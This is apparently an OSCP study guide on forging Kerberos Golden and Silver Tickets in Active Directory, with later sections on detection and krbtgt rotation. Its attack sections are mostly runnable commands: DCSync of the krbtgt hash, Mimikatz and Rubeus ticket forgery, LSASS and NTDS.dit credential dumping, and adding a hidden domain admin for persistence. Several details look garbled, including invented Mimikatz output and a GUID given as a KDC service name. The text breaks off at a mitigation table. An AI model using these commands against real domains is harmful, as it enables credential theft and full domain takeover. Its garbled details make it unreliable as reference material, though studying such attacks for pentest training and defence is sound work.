Golden vs Silver Ticket
OSCP Study Guide | Chapter 18 | Domain: Active Directory Authentication
This topic provides an in-depth comparison of Golden Tickets and Silver Tickets — two of the most powerful Kerberos-based attacks in Active Directory. Both involve forging Kerberos tickets offline, but they differ fundamentally in what they forge, what hash they need, and the scope of access they grant.
Table of Contents
- Core Concepts: What Are Forged Tickets?
- The krbtgt Account: The Crown Jewel
- Golden Ticket: Deep Dive
- Silver Ticket: Deep Dive
- Fundamental Differences: Why TGT vs TGS Matters
- Comprehensive Comparison Tables
- Gathering Required Information
- Decision Flowchart
- Detection Strategies
- Mitigation in Depth
- OSCP Exam Relevance
- Lab Practice Suggestions
- Common Pitfalls and Troubleshooting
- Quick Reference Card
1. Core Concepts: What Are Forged Tickets?
1.1 The Kerberos Trust Model
Before understanding forged tickets, you must understand the Kerberos trust chain:
graph TB
subgraph KerberosTrust["Kerberos Trust Chain"]
USER["User/Client"]
TGT["TGT<br/>(Ticket Granting Ticket)"]
TGS_TICKET["TGS Ticket<br/>(Service Ticket)"]
SERVICE["Target Service<br/>(CIFS, HTTP, MSSQL, etc.)"]
USER -->|Proves identity to KDC| TGT
TGT -->|Proves identity to KDC| TGS_TICKET
TGS_TICKET -->|Proves identity to Service| SERVICE
end
subgraph Encryption
E1["TGT encrypted with<br/>krbtgt account hash"]
E2["TGS encrypted with<br/>service account hash"]
end
TGT --- E1
TGS_TICKET --- E2
The trust chain works like this:
-
TGT (Ticket Granting Ticket): Issued by the KDC’s Authentication Service (AS). Encrypted with the krbtgt account’s NTLM hash. The TGT proves “the KDC has verified this user’s identity.”
-
TGS (Ticket Granting Service) Ticket / Service Ticket: Issued by the KDC’s Ticket Granting Service (TGS) when the user presents a valid TGT. Encrypted with the target service account’s NTLM hash. The TGS ticket proves “the KDC has verified this user can access this specific service.”
1.2 What Does “Forging” Mean?
Forging a ticket means creating a valid Kerberos ticket locally, without contacting the KDC. The attacker:
- Knows the secret key used to encrypt the ticket (an NTLM hash)
- Constructs the ticket with desired fields (username, groups, lifetime, etc.)
- Encrypts the ticket with that key
- Injects the forged ticket into their session
- Presents it to services, which decrypt and accept it as legitimate
The critical insight: Kerberos services trust the encryption, not the issuer. If a ticket is properly encrypted with the correct key, the target service has no way to know whether the KDC issued it or an attacker forged it.
1.3 Golden vs Silver: The Core Distinction
| Aspect | Golden Ticket | Silver Ticket |
|---|---|---|
| Forges | A TGT (Ticket Granting Ticket) | A TGS/Service Ticket |
| Needs hash of | krbtgt account |
A service account (e.g., the account running IIS, MSSQL, CIFS) |
| Scope | Access to ANY service in the domain | Access to ONE specific service only |
| Analogy | Forging a master key that opens every door | Forging a key card for one specific door |
2. The krbtgt Account: The Crown Jewel
2.1 What Is krbtgt?
The krbtgt (Kerberos Target) account is a special built-in account in every Active Directory domain. It is:
- RID 502 (relative identifier, always the same in every domain)
- Never logged in interactively — it has no human user behind it
- Its NTLM hash is the encryption key for ALL TGTs in the domain
- Cannot be disabled, deleted, or renamed
- Its password is auto-generated at domain creation and is extremely long and random
2.2 Why Is the krbtgt Hash So Critical?
graph LR
subgraph Domain["Active Directory Domain"]
K["krbtgt hash"]
T1["TGT for User A"]
T2["TGT for User B"]
T3["TGT for User C"]
T4["TGT for Admin"]
end
K -->|Encrypts| T1
K -->|Encrypts| T2
K -->|Encrypts| T3
K -->|Encrypts| T4
style K fill:#ff0000,stroke:#000,color:#fff
The krbtgt hash is the root of trust for Kerberos in the entire domain. Every single TGT ever issued by the KDC is encrypted with this hash. If an attacker obtains the krbtgt hash, they can:
- Forge a TGT for any user in the domain (even the Administrator)
- Add any group membership to the forged TGT’s PAC
- Set the ticket lifetime to up to 10 years (maximum Kerberos allows)
- Access every service in the domain without ever touching the KDC
This is why obtaining the krbtgt hash is considered equivalent to full domain compromise.
2.3 How Do Attackers Obtain the krbtgt Hash?
| Method | Description | Prerequisites |
|---|---|---|
| DCSync | Replicate the krbtgt account’s password hash from a Domain Controller | DA privileges or DC privileges (e.g., via DS-Replication-Get-Changes) |
| DC Compromise | Dump the NTDS.DIT database directly from a compromised DC | Local admin on DC, or ability to run processes as SYSTEM on DC |
| LSASS Dump on DC | Extract krbtgt hash from LSASS memory on a DC | Local admin on DC |
| Volume Shadow Copy | Copy NTDS.DIT from a shadow copy on a DC | Local admin on DC, vssadmin access |
| Ntdsutil | Use ntdsutil to export the AD database |
Local admin on DC |
On OSCP exams, DCSync via Mimikatz is the most common path to obtaining the krbtgt hash.
# The classic DCSync command to extract krbtgt hash
lsadump::dcsync /user:krbtgt /domain:TARGETDOMAIN.local
# Output example:
# [*] Level [SID]
# [*] 10.10.10.10 - TARGETDOMAIN.local
#
# [*] Building initial list
#
# [*] LAPS-DNS found, but no DC is vulnerable
#
# [*] Target NTDS.DIT users:
#
# [-] No primary users
#
# [*] Target built-in account: krbtgt
#
# [*] samAccountType: 805306369
# [*] samAccountName: krbtgt
# [*] userPrincipalName:
# [*] dnsHostName:
# [*] servicePrincipalName:
#
# [*] Requesting secrets with the DS_DIRECTORY_REPLICATION method
#
# [*] samAccountType: 805306369
# [*] samAccountName: krbtgt
#
# [0000001a] NTLM: a69d40cb90cb74842c43d0dfb0578e2e
# [0000001a] NTLM: 7c86836265303889335b0f04f3d8d3bf
Note: The krbtgt account typically has two NTLM hashes (the current and the previous). This is because the krbtgt password is rotated (see Mitigation section). Either hash can be used to forge a Golden Ticket — the newer hash for fresh tickets, the older hash for tickets that were issued before the rotation.
3. Golden Ticket: Deep Dive
3.1 What Is a Golden Ticket?
A Golden Ticket is a forged TGT (Ticket Granting Ticket) created by an attacker who possesses the krbtgt account’s NTLM hash. Because TGTs are encrypted with the krbtgt hash, having this hash allows the attacker to create a perfectly valid TGT — one that any Kerberos service in the domain will accept.
3.2 Why Is It Called “Golden”?
The name comes from the ultimate value of this attack:
- Gold = the most valuable, the ultimate prize
- A Golden Ticket gives you unrestricted access to every service in the domain
- It is the nuclear option of Kerberos attacks
3.3 Prerequisites
| Requirement | How to Obtain | Notes |
|---|---|---|
| krbtgt NTLM hash | DCSync, DC compromise, LSASS dump | The single most critical requirement |
| Domain SID | whoami /user on any domain-joined machine, or from AD enumeration |
Format: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx |
| Domain name | Already known from enumeration | Must be the NetBIOS name (e.g., CORP not corp.local) for Mimikatz |
| Target username | Any valid username (or a fake one) | Commonly set to Administrator or $ (hidden) |
| User RID | 500 for Administrator, or any valid RID |
Controls the forged user’s identity |
3.4 Complete Exploitation with Mimikatz
Step 1: Gather Required Information
# Get Domain SID
whoami /user
# Example output:
# USER INFORMATION
# ----------------
# User Name SID
# =================== =================================================
# corp\administrator S-1-5-21-2127991767-3019391844-536704684-500
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# This is the Domain SID (everything before the last -xxx)
# Get krbtgt hash via DCSync
lsadump::dcsync /user:krbtgt /domain:corp.local
Step 2: Build the Golden Ticket Command
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-2127991767-3019391844-536704684 \
/rc4:a69d40cb90cb74842c43d0dfb0578e2e /krbtgt \
/id:500 /groups:512,513,518,519,520,521,526 \
/startoffset:0 /endin:600 /renewmax:10080 /ptt
Parameter Breakdown
| Parameter | Value | Purpose |
|---|---|---|
/user: |
Administrator |
The username the ticket will impersonate. Can be any name — even one that doesn’t exist in AD. |
/domain: |
corp.local |
The domain name. Use the NetBIOS name (short name) for Mimikatz. |
/sid: |
S-1-5-21-... |
The domain SID. Must be exact. |
/rc4: |
<krbtgt_ntlm_hash> |
The NTLM hash of the krbtgt account. This is the encryption key. |
/krbtgt |
(flag) | Tells Mimikatz this is a TGT forgery (Golden Ticket), not a TGS forgery. |
/id: |
500 |
The RID of the forged user. 500 = Administrator. |
/groups: |
512,513,518,... |
Group RIDs to include in the PAC. See group table below. |
/startoffset: |
0 |
How many minutes in the past the ticket becomes valid. 0 = now. Set to negative value to backdate. |
/endin: |
600 |
Ticket lifetime in minutes. 600 = 10 hours. Max useful value: 10080 (1 week). |
/renewmax: |
10080 |
Maximum renewable lifetime in minutes. 10080 = 1 week. Can go up to 525600 (1 year) or even 10 years. |
/ptt |
(flag) | Pass the Ticket — inject the forged ticket directly into the current session. Without this, the ticket is created but not used. |
Important Group RIDs
| RID | Group Name | Purpose |
|---|---|---|
512 |
Domain Admins | Full domain administration |
513 |
Domain Users | Standard domain user (always include) |
518 |
Enterprise Admins | Forest-wide administration (if in a multi-domain forest) |
519 |
Schema Admins | Can modify AD schema |
520 |
Group Policy Creator Owners | Can create and link GPOs |
521 |
Enterprise Domain Controllers | Enterprise-level DC group |
526 |
Key Admins | Can manage KDS root keys |
Step 3: Verify the Ticket
# Check that the ticket was injected
klist
# Expected output shows a TGT for krbtgt with your forged user
# Look for:
# - Client: Administrator @ CORP.LOCAL
# - Server: krbtgt @ CORP.LOCAL
# - The ticket should show the lifetime you specified
# Alternative verification
klist tickets
Step 4: Access Resources
# Access any share in the domain
dir \\dc01.corp.local\C$
dir \\fileserver.corp.local\Shared
# Access any service
Enter-PSSession -ComputerName dc01.corp.local
# DCSync (since you now have DA-level access)
lsadump::dcsync /user:corp\Administrator /domain:corp.local
# Add a new domain admin
net user eviladmin Password123! /add /domain
net group "Domain Admins" eviladmin /add /domain
3.5 Complete Exploitation with Rubeus
# Method 1: Create and inject Golden Ticket
Rubeus.exe golden /user:Administrator /rc4:a69d40cb90cb74842c43d0dfb0578e2e \
/sid:S-1-5-21-2127991767-3019391844-536704684 \
/domain:corp.local /ptt
# Method 2: Create Golden Ticket and save to file
Rubeus.exe golden /user:Administrator /rc4:a69d40cb90cb74842c43d0dfb0578e2e \
/sid:S-1-5-21-2127991767-3019391844-536704684 \
/domain:corp.local /ticket:gold.kirbi
# Then inject later
Rubeus.exe ptt /ticket:gold.kirbi
3.6 Golden Ticket with AES Encryption
Modern domains may enforce AES encryption. Mimikatz supports AES128 and AES256:
# AES256 Golden Ticket (requires the AES256 key of krbtgt, not the RC4/NTLM hash)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... \
/aes256:<krbtgt_aes256_key> /krbtgt /ptt
# AES128 Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... \
/aes128:<krbtgt_aes128_key> /krbtgt /ptt
Note: On OSCP exams, RC4 (NTLM hash) is most commonly used. AES keys are harder to obtain and less frequently tested.
3.7 Advanced: Hidden Golden Ticket
You can create a Golden Ticket for a user that does not exist in AD:
# Create ticket for a non-existent user (name starts with $ to hide in some listings)
kerberos::golden /user:$admin /domain:corp.local /sid:S-1-5-21-... \
/rc4:a69d40cb90cb74842c43d0dfb0578e2e /krbtgt /id:500 /ptt
This is useful for persistence — the ticket works even if the security team is monitoring for the Administrator account specifically.
4. Silver Ticket: Deep Dive
4.1 What Is a Silver Ticket?
A Silver Ticket is a forged TGS (service) ticket created by an attacker who possesses the NTLM hash of a service account (not krbtgt). Because TGS tickets are encrypted with the target service account’s hash, having this hash allows the attacker to create a valid service ticket for that specific service.
4.2 Why Is It Called “Silver”?
The name reflects its secondary value compared to Gold:
- Silver = valuable, but not the ultimate prize
- A Silver Ticket grants access to only one specific service
- It is more targeted and stealthy than a Golden Ticket
4.3 When Would You Use a Silver Ticket?
| Scenario | Why Silver Ticket? |
|---|---|
| You have a service account hash but NOT krbtgt | You can’t forge a TGT, but you can forge a TGS for that service |
| You want to avoid Golden Ticket detection | Silver Tickets are less suspicious (targeted access vs. domain-wide) |
| You only need access to one service | No need for the broader (and riskier) Golden Ticket |
| The service account has local admin on a critical server | Silver Ticket to CIFS gives you file access; combined with local admin, full server control |
| You want to maintain persistence without rotating krbtgt | Changing service account passwords is less disruptive than rotating krbtgt |
4.4 Prerequisites
| Requirement | How to Obtain | Notes |
|---|---|---|
| Service account NTLM hash | LSASS dump on the server running the service, credential dumping, or other means | Must be the hash of the account running the target service |
| Domain SID | whoami /user or AD enumeration |
Same as Golden Ticket |
| Target SPN | Enumerate via setspn -Q */<hostname> or AD queries |
Format: service/hostname.domain.com |
| Target hostname | Known from enumeration | The FQDN of the server running the service |
| Service name | cifs, host, HTTP, MSSQLSvc, etc. |
The service class in the SPN |
4.5 Complete Exploitation with Mimikatz
Step 1: Identify the Target Service and Its Account
# On the target server, find which account runs the service
# Method 1: Check services
Get-Service | Where-Object {$_.Status -eq 'Running'}
# Method 2: Check process list
tasklist /V /FI "USERNAME ne NT AUTHORITY\*"
# Method 3: Query SPNs
setspn -Q */fileserver.corp.local
# Example output:
# Registered ServicePrincipalNames for CN=FILESRV,OU=Servers,DC=corp,DC=local:
# cifs/fileserver.corp.local
# cifs/fileserver
# host/fileserver.corp.local
# host/fileserver
Step 2: Obtain the Service Account Hash
# If you have admin access to the server running the service, dump LSASS
sekurlsa::logonpasswords
# Look for the service account's NTLM hash in the output
# Example:
# * Username : corp\svc_fileserver
# * Domain : corp
# * NTLM : d82b9bf14b9d4df775318458c489782d
# * SHA1 : ...
Step 3: Build the Silver Ticket Command
kerberos::golden /sid:S-1-5-21-2127991767-3019391844-536704684 \
/rc4:d82b9bf14b9d4df775318458c489782d \
/target:fileserver.corp.local \
/service:cifs \
/user:attacker \
/domain:corp.local \
/ptt
Important: Note that Mimikatz uses the
kerberos::goldencommand for both Golden and Silver Tickets. The difference is in the parameters:
- Golden Ticket: Uses
/krbtgtflag and the krbtgt hash- Silver Ticket: Uses
/target:and/service:flags and a service account hash (NO/krbtgtflag)
Parameter Breakdown (Silver Ticket Specific)
| Parameter | Value | Purpose |
|---|---|---|
/sid: |
S-1-5-21-... |
Domain SID (same as Golden Ticket) |
/rc4: |
<service_account_ntlm_hash> |
The NTLM hash of the service account (NOT krbtgt) |
/target: |
fileserver.corp.local |
The FQDN of the target server |
/service: |
cifs |
The service class (cifs, HTTP, MSSQLSvc, host, etc.) |
/user: |
attacker |
The username to impersonate (can be any name) |
/domain: |
corp.local |
The domain name |
/ptt |
(flag) | Inject ticket into current session |
Step 4: Verify and Use
# Verify the ticket
klist
# You should see a TGS ticket for cifs/fileserver.corp.local
# NOT a TGT — this is the key difference from Golden Ticket
# Access the target service
dir \\fileserver.corp.local\C$
# This works! But trying to access another service will fail:
dir \\dc01.corp.local\C$
# Access is denied — Silver Ticket only works for the specific service
4.6 Silver Ticket for Different Services
| Service | Service Name | Example Target | Use Case |
|---|---|---|---|
| SMB/File Share | cifs |
fileserver.corp.local |
Access file shares, admin shares (C$, ADMIN$) |
| RDP | RestrictedKrbHost or host |
jumpserver.corp.local |
Remote Desktop access |
| IIS/HTTP | HTTP |
webapp.corp.local |
Web application access |
| MSSQL | MSSQLSvc |
sql.corp.local:1433 |
Database access |
| LDAP | LDAP |
dc01.corp.local |
Directory queries |
| WMI | host |
server.corp.local |
WMI remote management |
# Silver Ticket for MSSQL
kerberos::golden /sid:S-1-5-21-... /rc4:<mssql_svc_hash> \
/target:sql.corp.local /service:MSSQLSvc /user:attacker \
/domain:corp.local /ptt
# Silver Ticket for HTTP (IIS)
kerberos::golden /sid:S-1-5-21-... /rc4:<iis_svc_hash> \
/target:webapp.corp.local /service:HTTP /user:attacker \
/domain:corp.local /ptt
# Silver Ticket for host (WMI/WinRM)
kerberos::golden /sid:S-1-5-21-... /rc4:<host_svc_hash> \
/target:server.corp.local /service:host /user:attacker \
/domain:corp.local /ptt
4.7 Complete Exploitation with Rubeus
# Create Silver Ticket with Rubeus
Rubeus.exe tgs /rc4:d82b9bf14b9d4df775318458c489782d \
/service:cifs /target:fileserver.corp.local \
/domain:corp.local /user:attacker /ptt
# Or create and save to file
Rubeus.exe tgs /rc4:d82b9bf14b9d4df775318458c489782d \
/service:cifs /target:fileserver.corp.local \
/domain:corp.local /user:attacker /ticket:silver.kirbi
4.8 Silver Ticket: No KDC Interaction
A critical property of Silver Tickets: they never touch the KDC.
sequenceDiagram
participant Attacker
participant KDC
participant Service
Note over Attacker: 1. Attacker has service account hash
Note over Attacker: 2. Forges TGS ticket locally<br/>(no KDC contact needed)
Attacker->>Service: 3. Presents forged TGS directly to service
Service-->>Attacker: 4. Service decrypts with its own hash<br/>and grants access
Note over KDC: KDC is NEVER contacted<br/>No Event 4769 generated
This means:
- No KDC logs will show the ticket being created
- The target service will log the authentication (Event 4624), but it looks like a normal Kerberos logon
- The service has no way to verify the ticket came from the KDC — it only checks the encryption
5. Fundamental Differences: Why TGT vs TGS Matters
5.1 The Kerberos Ticket Hierarchy
graph TD
subgraph AuthenticationFlow["Kerberos Authentication Flow"]
A["User authenticates<br/>(password/hash)"] --> B["KDC issues TGT<br/>(encrypted with krbtgt hash)"]
B --> C["User presents TGT to KDC<br/>+ requests specific service"]
C --> D["KDC issues TGS/Service Ticket<br/>(encrypted with service account hash)"]
D --> E["User presents TGS to Service<br/>Service grants access"]
end
subgraph AttackVectors["Attack Vectors"]
G["Golden Ticket<br/>(Forged TGT)"] -.->|Replaces step B| C
S["Silver Ticket<br/>(Forged TGS)"] -.->|Replaces step D| E
end
style G fill:#ffd700,stroke:#000
style S fill:#c0c0c0,stroke:#000
5.2 Scope of Access
| Aspect | Golden Ticket (Forged TGT) | Silver Ticket (Forged TGS) |
|---|---|---|
| Can access CIFS on FileServer? | Yes | Only if forged for that specific CIFS service |
| Can access MSSQL on SQLServer? | Yes | Only if forged for that specific MSSQL service |
| Can access HTTP on WebServer? | Yes | Only if forged for that specific HTTP service |
| Can access LDAP on DC? | Yes | Only if forged for that specific LDAP service |
| Can request NEW service tickets? | Yes — the forged TGT can be used at the KDC to request legitimate TGS tickets for any service | No — it IS the service ticket; no further KDC interaction needed or possible |
| Can be used to DCSync? | Yes (access LDAP on DC as DA) | Only if forged for LDAP on the DC |
5.3 Detection Difficulty
| Detection Aspect | Golden Ticket | Silver Ticket |
|---|---|---|
| KDC Event 4768 (TGT request) | Never generated (ticket forged offline) | N/A (TGS ticket, not TGT) |
| KDC Event 4769 (TGS request) | May be generated when the forged TGT is used to request service tickets | Never generated (ticket forged offline) |
| Service-side Event 4624 (Logon) | Generated — looks like normal Kerberos logon | Generated — looks like normal Kerberos logon |
| Ticket lifetime anomalies | Can be set to 10 years — highly suspicious if detected | Usually set to normal lifetime (10 hours) — less suspicious |
| User account existence | Can use non-existent usernames | Can use non-existent usernames |
| Overall detectability | Hard (but lifetime anomalies help) | Very hard (looks like normal service access) |
5.4 Operational Security Comparison
| OpSec Factor | Golden Ticket | Silver Ticket |
|---|---|---|
| Noise generated | High — can trigger alerts if used broadly (accessing many services) | Low — targeted, looks like normal service access |
| Time to detect | Longer if used sparingly; shorter if used aggressively | Very long — blends in with normal traffic |
| Forensic footprint | Forged TGT visible in klist; ticket lifetime may be anomalous |
Forged TGS visible in klist; harder to distinguish from legitimate tickets |
| Best for | Full domain takeover, when you already have DC access | Targeted access, lateral movement to specific services, persistence |
6. Comprehensive Comparison Tables
6.1 Feature Comparison
| Feature | Golden Ticket | Silver Ticket |
|---|---|---|
| Ticket Type | Forged TGT (Ticket Granting Ticket) | Forged TGS (Ticket Granting Service / Service Ticket) |
| Required Hash | krbtgt account NTLM hash |
Service account NTLM hash |
| Scope of Access | ANY service in the entire domain | ONE specific service on ONE specific host |
| KDC Interaction | None for forging; forged TGT can later be used at KDC to request legitimate TGS tickets | None at all — fully offline |
| Mimikatz Command | kerberos::golden with /krbtgt flag |
kerberos::golden with /target: and /service: flags |
| Rubeus Command | Rubeus.exe golden |
Rubeus.exe tgs |
| Lifetime | Up to 10 years (max Kerberos allows) | Configurable; default 10 hours; can be set to any value |
| Impact | Full domain compromise (Domain Admin equivalent) | Single service compromise |
| Required Info | Domain SID, krbtgt hash, domain name, target username/RID | Domain SID, service hash, target host FQDN, service name, target username |
| Event Logs Generated | No 4768/4769 for ticket creation; 4624 on target services when used | No 4769 for ticket creation; 4624 on target service when used |
| Detection Difficulty | Hard (no KDC events); lifetime anomalies may help | Very hard (no KDC events; looks like normal service access) |
| Mitigation | Rotate krbtgt password TWICE; tiered admin model | Strong service passwords; gMSA; LAPS |
| Persistence | Long-term (ticket can last years) | Medium-term (depends on set lifetime) |
| OpSec Risk | Higher (broad access pattern may trigger alerts) | Lower (targeted, blends with normal traffic) |
6.2 Attack Chain Position
| Attack Chain Phase | Golden Ticket | Silver Ticket |
|---|---|---|
| Initial Access | Not applicable — requires prior domain compromise | Not applicable — requires prior service account compromise |
| Credential Access | Obtains krbtgt hash via DCSync or DC dump | Obtains service account hash via LSASS dump or credential theft |
| Lateral Movement | Can move to ANY system in the domain | Can only move to the specific service targeted |
| Privilege Escalation | Immediate Domain Admin (if groups set correctly) | Depends on the service’s privileges |
| Defense Evasion | High — no KDC events; can use fake usernames | Very High — no KDC events; looks like normal access |
| Impact | Complete domain takeover | Service-level access |
6.3 Required Information Comparison
| Information | Golden Ticket | Silver Ticket | How to Gather |
|---|---|---|---|
| Domain SID | Required | Required | whoami /user; Get-ADDomain; nltest /dsgetdc:domain |
| Domain Name | Required | Required | Known from enumeration; systeminfo; klist |
| krbtgt NTLM Hash | Required | Not needed | DCSync; NTDS.DIT dump; LSASS dump on DC |
| Service Account Hash | Not needed | Required | LSASS dump on service server; credential dumping |
| Target Hostname | Not needed | Required | Known from target selection |
| Service Name (SPN class) | Not needed | Required | setspn -Q */hostname; AD enumeration |
| User RID | Optional (defaults to attacker) | Not needed | 500 for Administrator |
| Group RIDs | Optional (but recommended for DA access) | Not needed | Standard groups: 512, 513, etc. |
7. Gathering Required Information
7.1 Getting the Domain SID
# Method 1: whoami (from any domain-joined machine)
whoami /user
# Look for: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx
# The domain SID is everything before the last segment
# Method 2: PowerShell
(Get-ADDomain).DomainSID
# Method 3: nltest
nltest /dsgetdc:corp.local
# Method 4: dsquery
dsquery * "DC=corp,DC=local" -scope base -attr objectSid
7.2 Getting the krbtgt Hash
# Method 1: DCSync (requires DA or DC privileges)
lsadump::dcsync /user:krbtgt /domain:corp.local
# Method 2: DCSync for all users (includes krbtgt)
lsadump::dcsync /domain:corp.local /enum
# Method 3: Dump NTDS.DIT (requires local admin on DC)
# Step 1: Create shadow copy
vssadmin create shadow /for=C:
# Step 2: Copy NTDS.DIT
copy <shadow_path>\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
# Step 3: Extract SYSTEM registry hive
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Step 4: Use secretsdump.py
python3 secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL
# Method 4: ntdsutil (requires local admin on DC)
ntdsutil
activate instance ntds
ifm
create full C:\temp\ntds
q
q
7.3 Getting a Service Account Hash
# Method 1: LSASS dump on the server running the service
sekurlsa::logonpasswords
# Look for the service account's NTLM hash
# Method 2: Mimikatz full dump
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:"sekurlsa::logonpasswords"
# Method 3: Rubeus
Rubeus.exe triage
Rubeus.exe dump /ticket:<ID>
# Method 4: If you have local admin, use ProcDump + Mimikatz
procdump.exe -ma lsass.exe lsass.dmp
# Transfer the dump and analyze with Mimikatz
!process
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
7.4 Getting the Service Name and Target Host
# Method 1: Query SPNs for a specific host
setspn -Q */fileserver.corp.local
# Method 2: List all SPNs in the domain
setspn -T corp.local -Q */*
# Method 3: PowerShell
Get-ADComputer -Identity fileserver -Properties servicePrincipalNames
# Method 4: Find SPNs for a specific service account
setspn -L svc_fileserver
# Common service names:
# cifs - SMB / File sharing
# host - WMI / WinRM / RPC
# HTTP - IIS / Web services
# MSSQLSvc - SQL Server
# LDAP - Directory services
# E3514235-4B06-101A-7EB3-1AB0C0EB114E - Kerberos Key Distribution Center
8. Decision Flowchart
graph TD
A["What hash do you have?"] -->|"krbtgt NTLM hash"| B["Golden Ticket"]
A -->|"Service account NTLM hash"| C["Silver Ticket"]
A -->|"Regular user NTLM hash"| D["Pass-the-Hash / Overpass-the-Hash"]
A -->|"No hash, but DA access"| E["DCSync to get krbtgt hash → Golden Ticket"]
A -->|"No hash, but local admin on service server"| F["Dump LSASS → get service hash → Silver Ticket"]
B --> B1["Forge TGT locally"]
B1 --> B2["Access ANY service in domain"]
B2 --> B3["Full Domain Compromise ✓"]
C --> C1["Forge TGS for specific service"]
C1 --> C2["Access that specific service only"]
C2 --> C3["Service-Level Access ✓"]
D --> D1["Authenticate via NTLM or Kerberos"]
D1 --> D2["User-level access"]
D2 --> D3["Standard User Access ✓"]
E --> B
F --> C
style B3 fill:#ffd700,stroke:#000,color:#000
style C3 fill:#c0c0c0,stroke:#000,color:#000
style D3 fill:#cd7f32,stroke:#000,color:#000
8.1 Decision Matrix
| What You Have | What You Want | Best Attack |
|---|---|---|
| krbtgt hash | Full domain access | Golden Ticket |
| krbtgt hash | Access to one service | Golden Ticket (overkill but works) |
| Service account hash | Access to that service | Silver Ticket |
| Service account hash | Full domain access | Not directly possible; need to escalate first |
| User NTLM hash | Access as that user | Pass-the-Hash or Overpass-the-Hash |
| DA privileges | krbtgt hash | DCSync → then Golden Ticket |
| Local admin on service server | Service access | LSASS dump → Silver Ticket |
| Local admin on DC | Full domain access | DCSync → Golden Ticket |
9. Detection Strategies
9.1 Golden Ticket Detection
| Detection Method | What to Look For | Event ID / Tool |
|---|---|---|
| No KDC events | TGT used but no Event 4768 (TGT request) was generated on the DC | Missing Event 4768 |
| Ticket lifetime | TGT with unusually long lifetime (years instead of hours) | klist output; SIEM analysis |
| Start time anomaly | Ticket start time is in the past (backdated) | klist output |
| Non-existent user | Authentication from a user account that doesn’t exist in AD | Correlate Event 4624 with AD user list |
| Admin from unusual source | Domain Admin activity from an IP/host that never had admin access | Event 4672 (special privileges) |
| PAC validation | PAC signed with old krbtgt key after password rotation | Event 4769 with failure |
| Service class 3 | Event 4769 with service class 3 (TGT) but no corresponding 4768 | Event 4769 |
Golden Ticket Detection with PowerShell
# Check for tickets with unusual lifetimes
klist | Select-String "End time"
# Check for tickets from non-existent users
$klistOutput = klist
$users = Get-ADUser -Filter * -Properties SamAccountName
foreach ($line in $klistOutput) {
if ($line -match "Client:") {
$user = ($line -split "\s+")[1]
if ($user -and $user -notin $users.SamAccountName) {
Write-Host "SUSPICIOUS: Ticket for non-existent user: $user"
}
}
}
9.2 Silver Ticket Detection
| Detection Method | What to Look For | Event ID / Tool |
|---|---|---|
| No KDC events | TGS used but no Event 4769 (TGS request) was generated | Missing Event 4769 |
| Service-only access | User can only access one service, not others | Behavioral analysis |
| Authentication without TGT | TGS presented without a corresponding TGT in the session | klist analysis |
| Unusual service access | Low-privilege user accessing high-value service | Event 4624 correlation |
| Time-based anomalies | Service access at unusual times for that user | SIEM behavioral analytics |
Critical Challenge: Silver Tickets are extremely difficult to detect because they generate no KDC events and look like normal Kerberos authentication at the service level. The primary defense is prevention (strong service account passwords, gMSA) rather than detection.
9.3 Universal Detection (Both Ticket Types)
| Detection | Description |
|---|---|
Monitor for klist anomalies |
Scripts that check for tickets with no corresponding KDC events |
| Baseline normal behavior | Establish what normal Kerberos traffic looks like; alert on deviations |
| Account lockout correlation | If a krbtgt rotation causes lockouts or auth failures, investigate |
| SIEM correlation rules | Correlate Event 4624 (logon) with absence of Event 4768/4769 (KDC events) |
| Network-level monitoring | Monitor for Kerberos traffic (port 88) patterns — forged tickets mean less KDC traffic |
10. Mitigation in Depth
10.1 Golden Ticket Mitigation
Primary: Rotate krbtgt Password
The most important mitigation for Golden Tickets is rotating the krbtgt password. However, this must be done twice:
Why twice?
├── First rotation:
│ ├── New krbtgt password is set
│ ├── OLD krbtgt hash is still valid (for tickets already issued)
│ ├── NEW krbtgt hash is now active
│ └── Attacker's Golden Ticket (forged with old hash) is STILL valid!
│
└── Second rotation (after at least 10+ hours):
├── ALL old TGTs (including attacker's Golden Ticket) have expired
├── The old krbtgt hash is now removed from the KDC
├── Attacker's Golden Ticket can no longer be validated
└── ONLY tickets forged with the NEWEST hash will work
Timeline for proper krbtgt rotation:
gantt
title krbtgt Password Rotation Timeline
dateFormat HH:mm
axisFormat %H:%M
section Phase 1
First krbtgt rotation :00:00, 1h
Old tickets still valid :00:00, 10h
section Phase 2
Wait for old tickets to expire :10:00, 2h
section Phase 3
Second krbtgt rotation :12:00, 1h
Attacker's Gold Ticket INVALID :12:01, 1h
Steps:
-
First rotation: Change the krbtgt password immediately upon discovering compromise
# Using PowerShell $krbtgt = Get-ADUser krbtgt $newPassword = ConvertTo-SecureString "ExtremelyLongRandomPassword123!" -AsPlainText -Force Set-ADAccountPassword $krbtgt -Reset -NewPassword $newPassword -
Wait: At least the maximum TGT lifetime (default 10 hours, but check your domain’s policy). Wait 24+ hours to be safe.
-
Second rotation: Change the krbtgt password again
$krbtgt = Get-ADUser krbtgt $newPassword2 = ConvertTo-SecureString "AnotherExtremelyLongRandomPassword456!" -AsPlainText -Force Set-ADAccountPassword $krbtgt -Reset -NewPassword $newPassword2 -
After second rotation: Any Golden Ticket forged with the old hash is now invalid.
Additional Golden Ticket Mitigations
| Mitigation | Description |
|---|---|
| Tiered Administration Model | Implement Tier 0 (DCs), Tier 1 (servers), Tier 2 (workstations). Admins never use Tier 0 credentials on lower tiers. |
| Privileged Access Workstations (PAWs) | Dedicated, hardened machines for admin tasks only. |
| Kerberos Account Restriction Mode (ARM) | Restricts which accounts can be used for Kerberos authentication. |
| Monitor DC access | Alert on any non-admin access to Domain Controllers. |
| Restrict DCSync rights | Ensure only legitimate admins have DS-Replication-Get-Changes rights. |
| Enable AES encryption | Force AES256 for Kerberos; makes RC4-based Golden Tickets less effective. |
10.2 Silver Ticket Mitigation
| Mitigation | Description |
|---|---|
